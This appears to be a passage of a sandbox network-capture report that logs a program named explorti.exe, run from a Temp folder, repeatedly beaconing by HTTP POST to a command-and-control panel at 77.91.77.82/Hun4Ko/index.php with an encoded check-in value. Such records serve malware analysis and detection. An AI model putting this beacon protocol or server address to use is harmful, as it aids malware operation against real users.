Jul 2, 2024 15:27:30.751146078 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:31.467688084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49808	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:31.587156057 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:32.357739925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49809	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:32.368119955 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:33.099311113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49810	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:33.213905096 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:33.940943003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49811	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:33.950345039 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:34.660538912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49812	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:34.776957035 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:35.466861963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49813	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:35.476113081 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:36.180181980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49814	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:36.290395975 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:37.216044903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49815	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:37.224282980 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:37.932123899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49816	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:38.057430983 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:38.771625042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:38.775299072 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:38.996997118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49817	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:39.118881941 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49818	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:39.133872032 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:39.830833912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49819	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:39.948461056 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:40.664032936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49820	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:40.676253080 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:41.441490889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49821	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:41.555740118 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:42.242911100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49822	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:42.251446009 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:42.986994982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49823	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:43.109683990 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:43.860465050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49824	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:43.872018099 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:44.563409090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49825	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:44.680665970 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:45.406230927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49826	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:45.415636063 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:46.123650074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49827	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:46.380295038 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:47.100213051 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49828	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:47.112098932 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:47.827069998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49829	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:47.946806908 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:48.658648014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

